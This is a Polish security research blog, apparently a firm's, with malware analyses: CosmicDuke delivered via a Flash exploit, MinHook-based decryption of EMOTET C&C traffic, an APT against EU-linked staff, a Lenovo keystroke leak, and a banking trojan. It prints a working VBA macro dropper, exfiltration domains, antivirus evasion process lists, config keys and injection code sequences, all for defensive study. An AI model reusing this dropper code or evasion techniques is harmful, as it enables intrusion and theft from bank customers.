środa, 22 kwietnia 2015

Malware w 5 rocznicę katastrofy samolotu

W ubiegłym tygodniu zaobserwowaliśmy próby ataku ukierunkowanego. Do wiadomości email załączany był dokument o nazwie „Nowe szczegóły katastrofy polskiego samolotu.docx” [1].

 

Dokument zawierał obiekt Flash SWF wykorzystujący podatność CVE-2014-0569. Na komputerach z podatną wersją Adobe Flash Player wykonywany był skrypt powershell instalujący malware [2]. Z naszej analizy wynika, że robocza nazwa złośliwego oprogramowania to CosmicDuke [3].
Malware wyszukuje na zainfekowanym komputerze pliki o poniższych rozszerzeniach:

*.doc;*.xps;*.xls;*.ppt;*.pps;*.wps;*.wpd;*.ods;*.odt;*.lwp;*.jtd;*.pdf;*.zip;*.rar;*.docx;*.xlsx;*.pptx;*.ppsx;*.pst;*.ost;*psw*;*pass*;*login*;*admin*;*sifr*;*sifer*;*vpn;*.jpg*;*.url;*.exe;*.dll;*.tmp;*.obj;*.ocx;*.js

Zidentyfikowane pliki trafiają za pomocą http oraz ftp na serwery w domenie *ihby.in oraz *kenny.info. W przypadku ftp wykorzystywane są dwa konta hqarvr oraz lyasqn.

Pliki przed przesłaniem są szyfrowane RC4. Klucz widoczny jest na poniższym zrzucie ekranu.


Malware jako mechanizmu autostart korzysta z usługi Task Scheduler (uruchamiany przy logowaniu użytkownika oraz co 1 minutę). Fragment pliku konfiguracyjnego:

<Actions>
 <Exec>
  <Command>C:\Users\<username>\AppData\Local\cfgms.exe</Command>
  <Arguments>l44</Arguments>
 </Exec>
</Actions>


W zależności od uprawnień pliki exe z malware tworzone są w C:\Users\<username>\appdata\local lub C:\Windows\System32\.

Złośliwe oprogramowanie korzysta z kilku mechanizmów utrudniających analizę i wykrywających obecność systemów AV. Ukrywanie wykorzystywanych funkcji API oraz nadpisywanie poszczególnych sekcji pliku w pamięci:


Wyszukiwane procesy (2 x CreateToolhelp32Snapshot): savadminservice.exe, scfservice.exe, savservice.exe, ekrn.exe, msseces.exe, MsMpEng.exe, dwengine.exe, ekern.exe, nod32.exe, nod32krn.exe, AvastUi.exe, AvastSvc.exe, kav.exe, navapsvc.exe, mcods.exe, mcvsescn.exe, outpost.exe, acs.exe, avp.exe.

Inne funkcje malware to keylogger, tworzenie screenshot-ów ekranu. Malware szczegółowo został opisany przez np. firmę F-Secure [3].

CVE-2014-0569


Należy dodać, że użyty exploit pojawił się publicznie niecałe dwa tygodnie temu [4]. Dołączony do pliku docx obiekt zawiera skrypt w języku Action Script 3. Ten sam szablon AS3 wykorzystywany jest w nowszych exploit-ach na Adobe Flash -  w tym tych opisywanych ostatnio [5][6].

Skrypt wykonuje całą pracę związaną z wykorzystaniem podatności i instalacją złośliwego oprogramowania (umieszczeniem i oznaczenie danych na stercie, zbudowaniem łańcucha ROP, przekierowaniem adresu stosu).

Na początku odczytywany jest parametr sh z pliku:

Parametr po odkodowaniu:
Uruchamiana komenda powershell.exe również odkodowuje zawartość właściwego skryptu ps:
Ta technika jest bardzo skuteczna do omijania systemów AV.

Zanim w/w kod zostanie uruchomiony, za pomocą skryptu AS3 wykorzystana zostanie podatność integer overflow w funkcji casi32():


Funkcja (avm2.intrinsics.memory.casi32  - compare and swap memory) niepoprawnie waliduje dane, co umożliwia nadpisanie rozmiaru tablicy ByteArray. Gdy mamy ustawiony nowy rozmiar budowany jest łańcuch ROP. Pierwszym krokiem jest wyliczenie adresu bazowego (ze względu na ASLR) poprzez odczytanie zawartości tablicy oraz wyliczenie przesunięcia (linie 121-125). Tworzona jest również tymczasowa virtual method table, która jest nadpisywana (150) i wywoływana (zrzut poniżej):




W efekcie po kolejnej wymuszonej modyfikacji adresu ESP (stack pivot) wywoływana jest funkcja WinExec():


Źródło:

[1] MD5: F81F858335B253D4708FBDFA6CA92EE9
[2] MD5: 5080BC705217C614B9CBF67A679979A8 (do plików wykonywalnych dodawane są „śmieci” aby za każdym razem hash był inny)
[3] https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf
[4] https://github.com/rapid7/metasploit-framework/tree/master/external/source/exploits/CVE-2014-0569
[5] http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2015-0313-the-new-flash-player-zero-day/
[6] https://www.fireeye.com/blog/threat-research/2015/04/angler_ek_exploiting.html






niedziela, 29 marca 2015

Automatyzacja analizy złośliwego oprogramowania

Istotnym elementem, który ma wpływ na analizę złośliwego oprogramowania jest czas. Chodzi o to aby w jak najkrótszym czasie zidentyfikować funkcje pliku wykonywalnego/biblioteki. W przypadku złośliwego oprogramowania, którego celem jest infekcja stacji roboczych klientów banków przede wszystkim należy sprawdzić, klienci których banków są celem. Dla pracowników banków z kolei ważne jest w jaki sposób następuje kradzież środków, gdyż można próbować modyfikować mechanizmy wykrywające infekcje (np. kod javascript uruchamiany w kontekście sesji przeglądarki www z systemem bankowości internetowej, który ma wykryć malware, utrudnić „wstrzyknięcie” złośliwego kodu, uniemożliwić podmianę rachunku w schowku, i tak dalej).

Poniżej opiszemy jak uzyskać część z w/w informacji w sposób bardziej zautomatyzowany.

Z roku na rok zauważamy wzrost złośliwego oprogramowania, które przeznaczone jest dla 64 bitowego systemu operacyjnego. Zajmiemy się  plikiem, który jest wykrywany przez część z programów AV jako EMOTET (niektóre komponenty działają wyłącznie na 64 bitowym systemie operacyjnym). Dodatkowo twórcy malware w celu utrudnienia analizy szyfrują komunikację pomiędzy zainfekowaną stacją roboczą a serwerami C&C.

Pod koniec ubiegłego roku na jednej z konferencji w Warszawie pokazywaliśmy jak monitorować/modyfikować działanie malware za pomocą pakietu Microsoft Detours. Pakiet ten ma jedną wadę – wersja 64 bitowa jest płatna.

Jest co najmniej kilka rozwiązań, które mogą być alternatywą dla Detours włączając również Microsoft Debugging Tools. My dzisiaj opiszemy bibliotekę MinHook.

Zasada działania MinHook jest taka sama jak biblioteki Detours. Nadpisywane są pierwsze instrukcje funkcji które chcemy monitorować lub modyfikować (ang. „hooking”). Początek funkcji nadpisywany jest instrukcją JMP i wskazuje na nasz kod.

Na podanej poniżej stronie umieściliśmy szablon biblioteki, którą będziemy wstrzykiwali w proces, który chcemy monitorować. Należy również pobrać skompilowana wersję lub kod źródłowy biblioteki MinHook.

Dodawanie funkcji, którą chcemy monitorować składa się z kilku kroków:

  •  Deklarujemy i tworzymy wskaźnik do oryginalnej funkcji:
typedef int(WINAPI *CRYPTDECRYPT)(HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE *pbData, DWORD *pdwDataLen);
CRYPTDECRYPT fpcryptdecrypt = NULL;

  • Definiujemy funkcję, która zostanie wywołana zamiast oryginalnej funkcji:
int WINAPI Prevenitycryptdecrypt(HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE *pbData, DWORD *pdwDataLen)
{
    LoggerW(L"CryptDecrypt call");
    WriteToLogFile("Before CryptDecrypt call: ",pbData, rozmiar);
    dane = fpcryptdecrypt(hKey, hHash, Final, dwFlags, pbData, pdwDataLen);
    WriteToLogFile("After CryptDecrypt call: ",pbData, rozmiar);
    return dane;
}


WriteToLogFile() to kolejna przygotowana przez nas funkcja. Jej celem jest zapisywanie istotnych informacji dot. przechwytywanych funkcji. Czasami warto funkcję WriteToLogFile() wywołać dwa razy (przed wywołaniem oryginalnej funkcji i po jej wywołaniu - tutaj przykład z funkcją CryptDecrypt() wykorzystywaną przez analizowany malware).

pbData[in, out] to wskaźnik do bufora zawierającego dane do odszyfrowania co oznacza że zapiszemy w pliku dane przed odszyfrowaniem i po odszyfrowaniu.
  •  Odczytujemy i zapisujemy adres funkcji, która będziemy modyfikowali:
LPVOID pcryptdecrypt = NULL;
pcryptdecrypt = GetProcAddress(GetModuleHandleA("Advapi32.dll"), "CryptDecrypt");

  •  Wywołujemy MH_CreateHook(), która modyfikuje funkcję ale jeszcze nie aktywuje jej:
 MH_CreateHookEx(pcryptdecrypt, &Prevenitycryptdecrypt, &fpcryptdecrypt);
  •  Włączamy wszystkie modyfikacje:
 MH_EnableHook(MH_ALL_HOOKS);

Analogicznie powtarzamy punkty 1-4 dla innych funkcji, które pozwolą nam zidentyfikować zachowanie złośliwego oprogramowania. Aby sprawdzać co jest wysyłane i odbierane przez analizowany malware przechwycimy 3 funkcje:
  • CryptDecrypt()
  • CryptEncrypt()
  • CrypthashData()
Po kompilacji otrzymany bibliotekę, którą musimy wstrzyknąć do procesu ze złośliwym kodem. W tym konkretnym przypadku malware wstrzykuje złośliwy kod do procesu explorer.exe. Dostępny na podanej poniżej stronie szablon zawiera drugi projekt simple_injector. Jest to aplikacja która wstrzykuje bibliotekę mh_template.dll do wskazanego procesu. Wyniki działania funkcji WriteToLogFile() będą zapisywane w lokalizacji C:\Prevenity.

Uruchamiamy program, który załaduje bibliotekę do wskazanego procesu:

C:\simple_injector.exe
Podaj PID: 1148
Injecting DLL to PID: 1148


Sprawdzamy, czy w przestrzeni adresowej znajduje się nasza biblioteka.


Poniżej fragment szyfrowanej komunikacji pomiędzy malware a serwerami C&C.

 Poniżej fragment pliku z odszyfrowaną komunikacją:
  •  Wysyłane dane przez malware przed zaszyfrowaniem:
  •  Odebrana i odszyfrowana komunikacja z serwera C&C:

Analizowany malware co kilka minut pobierał nową konfigurację. Oprócz nazw banków, skryptów, serwerów C&C znajdowały się również adresy polskich serwerów na których umieszczone jest złośliwe oprogramowanie.

Źródła:
[1] https://github.com/TsudaKageyu/minhook
[2] https://github.com/Prevenity/malware_monitor
[3] MD5: BBB080336BC3BFA054D9C8491DB5E2D4
[4] http://research.microsoft.com/en-us/projects/detours/



niedziela, 8 marca 2015

EuroAPT

Nie tak dawno opisywaliśmy atak na klientów polskich banków. Tym razem opiszemy atak na pracowników instytucji rządowych.

Złośliwe oprogramowanie zostało umieszczone na kilka godzin na stronie organizacji powiązanej z Unią Europejską (www.EuropeanIssuers.eu). Do odbiorców został rozesłany email z linkiem do dokumentu Invitation1541.pdf. Intruzi podszyli się pod adres w domenie @europarl.europa.eu.

Z w/w strony do pobrania było archiwum 1541.zip zawierające plik wykonywalny exe. Plik exe zawierał dwa kolejne pliki: 1541.pdf oraz reader_sl.exe. Plik pdf wyświetlany jest na ekranie a w tle instalowane jest docelowe złośliwe oprogramowanie.
  • amd_opencl32.dll
  • amdhwdecoder_32.dll
  • atiglpxx.dll
  • amdocl_as32.exe
  • racss.dat
Pliki wykonywalne podpisane są niezaufanym certyfikatem:


Gdy konto w systemie z którego uruchamiany jest reader_sl.exe ma uprawnienia administracyjne (weryfikacja za pomocą funkcji AllocateAndInitializeSid(), CheckTokenMembership(), FreeSid()) to dodawane są wpisy do:
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Gdy konto jest "zwykłym" użytkownikiem to wpis dodawany jest do:
  • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Do klucza rejestru Run dodawana jest jedna z nazw: ativvsvl_Addon/ativvaxy_cik_nd_Addon/atikmdag_Addon. Wartość dla Windows 7 to „C:\Users\<username>\AppData\Roaming\ATI\amdocl_as32.exe C:\Users\<username>\AppData\Roaming\ATI\amdhwdecoder_32.dll, ADL2_DFP_HDMISupport_Get”

Amdocl_as32.exe to plik systemowy rundll32.exe. ADL2_DFP_HDMISupport_Get to funkcja eksportowana przez bibliotekę amdhwdecoder_32.dll.

Do serwera C&C przesyłany jest raport dotyczący instalacji. Fragment odszyfrowanej zawartości poniżej:


Plik racss.dat jest zaszyfrowanym plikiem konfiguracyjnym (w formacie XML). Jest tam między innymi adres serwera C&C, hasła do szyfrowania danych, hasło dostępu do serwera czy informacje o statusie ostatnich zadań odebranych z serwera.


Plik szyfrowany i odszyfrowywany jest za pomocą API CryptDecrypt() i CryptEncrypt() z ADVAPI32.dll.

Większość wywoływanych API, nazw bibliotek, nazwy rejestrów czy nawet parametry przesyłane do serwera są przez malware odkodowywana przed użyciem. Fragment funkcji odkodowującej API i nazwy parametrów z pliku konfiguracyjnego:

seg000:0000A5E3 loc_A5E3:                               ; CODE XREF: sub_A5D0+33
seg000:0000A5E3                 mov     esi, [ecx]
seg000:0000A5E5                 movsx   esi, byte ptr [esi+eax]
seg000:0000A5E9                 movzx   edi, byte ptr [ecx+8]
seg000:0000A5ED                 xor     si, di
seg000:0000A5F0                 xor     si, ax
seg000:0000A5F3                 mov     edi, 0FFh
seg000:0000A5F8                 and     si, di
seg000:0000A5FB                 mov     [edx+eax*2], si
seg000:0000A5FF                 inc     eax
seg000:0000A600                 cmp     eax, [ecx+4]
seg000:0000A603                 jb      short loc_A5E3
seg000:0000A605                 pop     edi
seg000:0000A606                 pop     esi


Fragment funkcji wykorzystującej różne klucze dla operacji XOR:


Malware korzysta z WMI aby sprawdzić zainstalowane aplikacje na zainfekowanej stacji roboczej:
  • SELECT * FROM AntiVirusProduct
  • SELECT * FROM FireWallProduct
Lista sprawdzanych produktów:
  • Bitdefender
  • SOPHOS
  • Dr. Web
  • KASPERSKY CRYSTAL
  • AVG
Funkcja kodująca dane, które przesyłane są do serwera bazuje na przesunięciu poszczególnych znaków z tablicy A…Za…z0…9+/AB. arg_4 w zależności od przesyłanego parametru jest inny.


Poniżej wysyłane do serwera zapytanie (komunikacja jest dodatkowo szyfrowana za pomocą SSL):


Dla przykładu wartość parametru as_rq to zakodowana powyższym algorytmem ciąg znaków: version150212=ranoekjx1wyxy
Lista odszyfrowanych parametrów: aff_id, as_dt, as_epq, as_eq, as_ft, as_lq, as_occt, as_oq, as_q, as_qdr, as_rq, curid, direct, file, filter, from, mode, name, oldid, option, page, page_id, popup, print, safe, search, sess_id, site, thread, title, topic, type, uselang, user, userid, variant, window.

Przykład zwracanej odpowiedzi. Wartość z komentarza (rodzaj ID sesji) jest używana do przygotowania i zakodowana kolejnego zapytania do serwera C&C.


Malware ma możliwość pobierania i uruchamiana funkcji zaimplementowanych w zewnętrznych modułach. Jeden z modułów tworzy zrzut ekranu i wynik przesyła do serwera. Moduł po wykonaniu zadania jest kasowany z zainfekowanego komputera. Fragment kodu modułu Reg_ativvsvl_Subsystem_.max odpowiedzialnego za wykonanie zrzutu ekranu na zainfekowanym komputerze.

Status wykonanych zadań również zapisywany jest w pliku konfiguracyjnym:


Lista funkcji skrótu MD5:

File:     1541.exe
MD5:      5EABC9C54B73FFFB5F3FDDB37A653D7B

File:     1541.pdf
MD5:      93176DF76E351B3EA829E0E6C6832BDF

File:     reader_sl.exe
MD5:      43C012086C1AE0A67C38B0926D6CBA3F

File:     amd_opencl32.dll
MD5:      4DF44CE045D2F4572B3B68B1EF0F9151

File:     amdhwdecoder_32.dll
MD5:      029568AE421E50EC62C4FA24535E0455

File:     amdocl_as32.exe (rundll32.exe)
MD5:      51138BEEA3E2C21EC44D0932C71762A8

File:     atiglpxx.dll
MD5:      D2D6093F0BD1FFDBC01EA7F1390A84B3

File:     Reg_ativvsvl_Subsystem_.max
MD5:      E0B6F0D368C81A0FB197774D0072F759




niedziela, 22 lutego 2015

Logowanie uderzeń klawiszy w komputerach Lenovo

W ubiegłym tygodniu ujawniona została informacja dotycząca oprogramowania adware SuperFish preinstalowanego w niektórych modelach komputerów Lenovo. Oprogramowanie z wykorzystaniem techniki MitM ma dostęp do szyfrowanych połączeń https. Możliwe jest „monitorowanie” a także podmiana danych przesyłanych przez użytkowników za pomocą niektórych przeglądarek internetowych.

Przy tej okazji opiszemy poniżej inną „ciekawą” funkcję jednej z dodatkowych aplikacji preinstalowanych razem z komputerami firmy Lenovo (w opisanym tutaj przypadku ThinkPad). Dotyczy ona aplikacji USB Enhanced Performance Keyboard (wersja 2.0.1.9).


Najprawdopodobniej przez pomyłkę instalowana jest aplikacja, która rejestruje wszystkie uderzenia klawiszy użytkowników. Uważamy, że może to być „niedoparzenie” gdyż kody ascii poszczególnych klawiszy rejestrowane są za pomocą funkcji API OutputDebugString().

Czy jest to zagrożenie? Tak, gdyż dowolna aplikacja może odczytywać te znaki i w ten sposób może powstać skuteczny keylogger. Keylogger składający się z dwóch modułów. Pierwszego modułu już zainstalowanego i uruchomionego na komputerach oraz drugiego który można w dowolnym momencie uruchomić.

Nie analizowaliśmy szczegółowo wszystkich preinstalowanych aplikacji Lenovo ale nie stwierdziliśmy aby którykolwiek z uruchomionych procesów Lenovo w czasie rzeczywistym zapisywał na dysku bądź przesyłał przez sieć komunikaty generowane przez OutputDebugString().

Poniżej kilka technicznych informacji dotyczących aplikacji. Proces, który uruchamia rejestrowanie klawiszy to Skdaemon.exe.


Przy uruchomieniu aplikacji (uruchamiana z HKLM\Software\Microsoft\Windows\CurrentVersion\Run) ładowana jest biblioteka SKHOOKS.DLL (wersja 1.0.0.1).  Biblioteka za pomocą funkcji SetWindowsHookExA() rejestruje procedurę przechwytującą, która monitoruje zdarzenia  dotyczące klawiatury (idHook = 0xD, WH_KEYBOARD_LL).

 

Poniżej fragment funkcji sub_10001AA0(), która jest wywoływana przy każdej wiadomości dotyczącej monitorowania uderzeń klawiszy.


vkCode zawiera kod ascii wybieranych przez użytkownika klawiszy klawiatury komputera.

W jaki sposób odczytywać komunikaty z funkcji OutputDebugStringA()? Możemy wykorzystać narzędzie DebugView z pakietu Sysinternals. Można też samemu napisać prostą aplikacje do odczytu bufora zawierającego komunikaty funkcji OutputDebugString(). Aplikacja taka musi:
  1. Utworzyć Mutex DBWinMutex
  2. Utworzyć dwa zdarzenia DBWIN_BUFFER_READY oraz DBWIN_DATA_READY
  3. Odczytać współdzielony segment pamięci zawierający bufor z komunikatem z funkcji OutputDebugString().
Poniżej efekt działania takiej aplikacji. Link do kodu źródłowego podaliśmy poniżej. vkCode zawiera znaki ascii klawiszy.


Aktualizacja 8 marca 2015

Załączamy treść informacji otrzymanej 6 marca od firmy Lenovo.

"Oświadczenie:

W oprogramowaniu Lenovo USB Enhanced Performance Keyboard (73p2620), preinstalowanym na niektórych komputerach, występuje znany problem polegający na tym, że w pliku wykonywalnym, przeznaczonym do produkcji ,pozostawiono przypadkowo kod do debugowania. Firma Lenovo udostępniła aktualizację, która usuwa funkcję generowania danych wyjściowych debugowania. Ta aktualizacja będzie udostępniana za pośrednictwem usługi System Update (np. TVSU) od 4 marca 2015 r. na wszystkich komputerach Lenovo, których to dotyczy.

Opis:
We wszystkich poprzednich wersjach tego oprogramowania występują pozostałości kodu debugowania, a oprogramowanie to było preinstalowane na niektórych komputerach Lenovo od wiosny 2014 r. Ta luka umożliwia osobom mającym dostęp do systemu przechwytywanie poufnych danych, takich jak dane logowania lub dane osobowe. Tej luki nie można wykorzystać zdalnie, a użytkownik musi uprzednio uzyskać dostęp do systemu.
Oprogramowanie to włącza aplikację „SKDaemon.exe”, która uruchamia się, gdy użytkownik loguje się w systemie Windows. Program wyszukuje klawisze dostępu naciskane w celu wykonania poleceń Dalej i Wstecz w przeglądarce Internet Explorer. Po programie tym przypadkowo pozostało w kodzie wywołanie OutputDebugString, które w sposób nieplanowany umożliwia innym lokalnym użytkownikom, stosującym specjalistyczne narzędzia do systemu Windows, poznawanie klawiszy naciskanych przez innych użytkowników."

Źródła:
[1] https://github.com/Prevenity/debug_monitor
[2] http://www.unixwiz.net/techtips/outputdebugstring.html
[3] https://technet.microsoft.com/en-us/sysinternals/bb896647
[4] File: Skdaemon.exe, MD5: 8AAADD581467160C81C0FF1ED999AC84
[5] File: SKHOOKS.DLL, MD5: 433D6EDF06A4D6D1DD56F4BE7F96D518

poniedziałek, 29 grudnia 2014

Banking trojan – analiza ataku na klientów banków w Polsce

Przedstawiamy analizę ataku rosyjskiej grupy przestępczej. Celem ataku są między innymi klienci banków w Polsce.  Nie oznacza to, że zagrożone są wyłącznie osoby posiadające konta w systemach bankowości internetowej (osobiste bądź firmowe) w wymienionych poniżej bankach. Zdarzały się przypadki, że intruzom udało się przetransferować środki z konta ofiary u której był aktywny keylogger oraz vnc.
Opisane złośliwe oprogramowanie pierwszy raz zostało przez nas zidentyfikowane na początku listopada 2014. Jednak już we wrześniu zaobserwowaliśmy wykorzystywanie niektórych komponentów złośliwego oprogramowania (keylogger oraz vnc). Obecnie złośliwy kod zarządzany jest za pomocą botnet-u Andromeda a moduł webinject wykorzystuje mechanizmy znane z malware TINBA. Zazwyczaj 2-3 dni po infekcji intruzi próbują przetransferować środki z konta ofiary. Z analizowanych przez nas do tej pory incydentów najbardziej skuteczna metoda opiera się o moduły keylogger oraz vnc. 

Dropper #1

Dropper rozsyłany jest za pomocą wiadomości email z załącznikiem w formacie edytora WORD. Poniżej zawartość takiego dokumentu (tekst oznaczony kolorem czerwonym w oryginalnym dokumencie jest biały).


Makro tworzy plik wykonywalny (exe) i zapisuje w nim dekodowaną zawartość danych po znakach 1234 (w dokumencie docx wyszukuje ciągu znaków 1234). &H to prefix danych zapisywanych bajtów w formacie szesnastkowym w Visual Basic. Poniżej zawartość  skryptów Makro:

TmpFile = Environ("TEMP")
TmpName = TmpFile & "docm.exe
Data = ActiveDocument.Range.Text
Dim Text
Dim Pos
Dim Symbol
Pos = InStr(10, Data, "1234")
BytesWritten = Pos + 4
lInputFile = FreeFile
Open TmpName For Binary Lock Write As #lInputFile
While (BytesWritten < Len(Data))
Symbol = Mid(Data, BytesWritten, 4)
Put #lInputFile, , CByte(Symbol)
BytesWritten = BytesWritten + 4
Wend


Close #lInputFile

Shell TmpName, vbNormalFocus
 

End Sub

Najprostsza metoda to przekopiowanie całego ukrytego tekstu (bez 1234) do notatnika i usunięcie &H (funkcja zamień). Następnie tekst należy zapisać jako binarny (np. korzystając z WinHex). W efekcie otrzymujemy plik wykonywalny (MD5: 5CD40560A53FDA5B32C35ADFCDFCA3E1).


Punkt wejścia wskazuje na kod w .NET, który możemy poddać procesowi dekompilacji. W funkcji main() można zauważyć dużo zbędnego kodu i standardowe fragmenty związane z odczytem zawartości tablicy, alokacją pamięci i uruchomieniem kodu niezarządzanego (właściwy payload malware). Sposób odnalezienia miejsca w pamięci, gdzie ładowany jest payload został przez nas opisany w poprzednim artykule [1].


Jedną z pierwszych operacji wykonywanych przez payload jest rozpakowanie właściwego kodu malware. Do tego celu została zastosowana funkcja RtlDecompressBuffer(). Poniżej fragment pamięci przed dekompresją i po dekompresji.

Fragment pamięci przed wywołaniem funkcji RtlDecompressBuffer():


Fragment pamięci po wywołaniu RtlDecompressBuffer():


Po uruchomieniu w/w kodu malware sprawdza czy są uruchomione procesy związane z narzędziami VirtualBox i VMWare (instalowanymi zazwyczaj na systemach wirtualnych).
Złośliwy kod za pomocą funkcji CreateProcessW() „uruchamiany jest” kilka razy. Uruchamiane są też aplikacje „systemowe” (msiexec.exe czy hh.exe).  Zanim aplikacje zostaną uruchomione (CreateProcessW() wywoływany jest z opcją CREATE_SUSPENDED), złośliwy kod wstrzykiwany jest do procesów potomnych (sekwencja funkcji API: UnmapViewOfSection(), VirtualAllocEx(), WriteProcessMemory(), SetThreadContext()). Takie zachowanie ma na celu utrudnienie analizy za pomocą narzędzi typu debugger. Poniżej lista uruchamianych procesów po uruchomieniu dropper-a:


Plik wykonywalny loader (mslsxktt.exe) ostatecznie kopiowany jest do C:\ProgramData. Dodawany jest też do gałęzi rejestrów Policies\Explorer\Run co pozwala na automatyczne uruchomienie przy logowaniu użytkownika. Wykonywane są też inne modyfikacje związane z wyłączeniem UAC, wyłączeniem Windows Defender, wyłączeniem powiadomień czy zmianą opcji widoku folderów (ukrywanie plików). 


Fragment złośliwego kodu odpowiadającego za w/w modyfikacje:


Po zainstalowaniu złośliwy kod dekoduje adresy URL serwerów C&C. Poniżej kod funkcji dekodującej: 

00401BA5   55               PUSH EBP
00401BA6   8BEC             MOV EBP,ESP
00401BA8   51               PUSH ECX
00401BA9   33C0             XOR EAX,EAX
00401BAB   33C9             XOR ECX,ECX
00401BAD   8B45 08          MOV EAX,DWORD PTR SS:[EBP+8]
00401BB0   B9 34000000      MOV ECX,34
00401BB5   807401 FF 7C     XOR BYTE PTR DS:[ECX+EAX-1],7C
00401BBA   807401 FF 6C     XOR BYTE PTR DS:[ECX+EAX-1],6C
00401BBF   807401 FF 5C     XOR BYTE PTR DS:[ECX+EAX-1],5C
00401BC4   49               DEC ECX
00401BC5  ^75 EE            JNZ SHORT srcommon.00401BB5
00401BC7   59               POP ECX
00401BC8   C9               LEAVE
00401BC9   C2 0400          RETN 4

Malware modyfikuje też funkcje GetAddrInfoW() oraz NtMapViewOfSection(). Zastosowana technika inline hooking za pomocą instrukcji JMP przekierowuje wszystkie wywołania do kodu malware:

Poniżej fragment odpowiadający za modyfikację w/w funkcji:


Poniżej początek funkcji GetAddrInfoW() po modyfikacji. Pierwsza instrukcja to instrukcja skoku bezwarunkowego do kodu kontrolowanego przez intruza.

 
Zarządzanie

Zainfekowany komputer zarządzany jest przez złośliwy kod mający wiele cech wspólnych z bot-em o nazwie Andromeda. Zarządzanie odbywa się za pomocą komend: aRaport i aUpdate. Najpierw sprawdzana jest dostępność sieci Internet poprzez próbę nawiązana połączenia z jednym z poniższych serwerów:

Następnie wysyłany jest raport zawierający kilka parametrów, w tym identyfikator (id) zainfekowanego systemu wygenerowany z cech systemu (nie można zarejestrować ponownie tego samego komputera).


Pełen zestaw parametrów jest szyfrowany za pomocą algorytmu RC4 i kodowany za pomocą baze64. Wykorzystywany przez RC4 klucz oraz ciąg znaków do zakodowania przekazywany jest do funkcji szyfrującej (na poniższym przykładzie pod adresem 0x7FF91B90).


Fragment funkcji, która najpierw tworzy pseudolosowy strumień 256 bajtów korzystając ze stałego klucza.

seg000:00001BB8 loc_1BB8:                               ; CODE XREF: sub_1B90+57j
seg000:00001BB8                 mov     dl, ss:[ecx+ebp+var_100]
seg000:00001BC0                 add     al, dl
seg000:00001BC2                 add     al, [ebx+esi]
seg000:00001BC5                 mov     dh, ss:[eax+ebp+var_100]
seg000:00001BCD                 mov     ss:[ecx+ebp+var_100], dh
seg000:00001BD5                 mov     ss:[eax+ebp+var_100], dl
seg000:00001BDD                 inc     cl
seg000:00001BDF                 jz      short loc_1BE9
seg000:00001BE1                 inc     ebx
seg000:00001BE2                 cmp     ebx, [ebp+arg_4]
seg000:00001BE5                 jz      short loc_1BB6
seg000:00001BE7                 jmp     short loc_1BB8

Następnie strumień ten używany jest do szyfrowania za pomocą XOR wiadomości. Przed wykonaniem operacji logicznej XOR ustawiany jest offset (EDX) klucza.


Następnie zaszyfrowane dane są kodowane za pomocą base64 i przesyłane do serwera C&C.

POST /joomla/administrator.php HTTP/1.1
Cache-Control: no-cache
Connection: close
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0
Content-Length: 74
Host: *.ru

Base64_encoded_string

Kolejną komendą jest update. Poniżej fragment kodu, który zapisuje a następnie uruchamia z katalogu tmp plik wykonywalny. 


Malware posiada kilka modułów. Między innymi moduł webinject, VNC czy keylogger. Poniżej fragment zapytania i odpowiedzi zawierającej zakodowany moduł (PK nie oznacza,  że jest to plik archiwum). Właśnie w ten sposób na stacji roboczej instalowane są kolejne moduły.
 

Webinject

Jeden z wątków malware za pomocą funkcji CreateToolhelp32Snapshot sprawdza, czy nie działa proces jednej z poniższych przeglądarek:
  • iexplorer.exe
  • firefox.exe
  • maxthon.exe
  • chrome.exe
Poniżej odpowiedni fragment kodu:



Gdy wykryty zostanie jeden z procesów wtedy złośliwy kod modułu webinject kopiowany jest do procesu przeglądarki www (sekwencja API: OpenProcess(), VritualAllocEx(), WriteProcessMemory(), CreateRemoteThread()). Jest to kod innego znanego malware TINBA (Tiny Banker).
Następnie wywoływane są funkcje złośliwego kodu, które za pomocą techniki inline hooking (z użyciem funkcji VirutalProtect() oraz WriteProcessMemory()) modyfikują funkcje API biblioteki WININET.dll (HttpQueryInfoA(), InternetCloseHandle(),InternetReadFile(), HttpOpenRequest(), InternetQueryDataAvailable(), HttpSendRequest()).  Poniżej fragment kodu inicjującego przechwycenie systemowych funkcji API:

00BD133E 8D83 FD1A4000 LEA EAX,DWORD PTR DS:[EBX+401AFD] //patchowanie
00BD1344 FFD0 CALL EAX
00BD1346 8D83 A1174000 LEA EAX,DWORD PTR DS:[EBX+4017A1]
00BD134C 50 PUSH EAX
00BD134D 8D83 F43C4000 LEA EAX,DWORD PTR DS:[EBX+403CF4]
00BD1353 50 PUSH EAX
00BD1354 8D83 FD1A4000 LEA EAX,DWORD PTR DS:[EBX+401AFD] //patchowanie
00BD135A FFD0 CALL EAX
00BD135C 8D83 81174000 LEA EAX,DWORD PTR DS:[EBX+401781]
00BD1362 50 PUSH EAX
00BD1363 8D83 553E4000 LEA EAX,DWORD PTR DS:[EBX+403E55]
00BD1369 50 PUSH EAX
00BD136A 8D83 FD1A4000 LEA EAX,DWORD PTR DS:[EBX+401AFD] //patchowanie
00BD1370 FFD0 CALL EAX
00BD1372 8D83 89174000 LEA EAX,DWORD PTR DS:[EBX+401789]
00BD1378 50 PUSH EAX
00BD1379 8D83 A23E4000 LEA EAX,DWORD PTR DS:[EBX+403EA2]
00BD137F 50 PUSH EAX

Plik konfiguracyjny (InkObj.dat) webinject znajduje się w lokalizacji: C:\Users\<username>\AppData\Roaming\SpeechEngine\. Plik zakodowany jest za pomocą algorytmu RC4. W ciągu ostatniego miesiąca wykorzystywane były dwa klucze: "wer8c7ygbw485ghw" oraz “f6hfijqpbdl7czm9”. Opis dekodowania opisany jest też w innym naszym artykule [2].

Poniżej fragment odkodowanego pliku konfiguracyjnego:


Poniżej fragment plików konfiguracyjnych dotyczących banków w Polsce. Dla każdego z nich znajduje się jeden lub kilka javascript umieszczonych w pliku konfiguracyjnym lub na serwerach kontrolowanych przez atakującego:
 


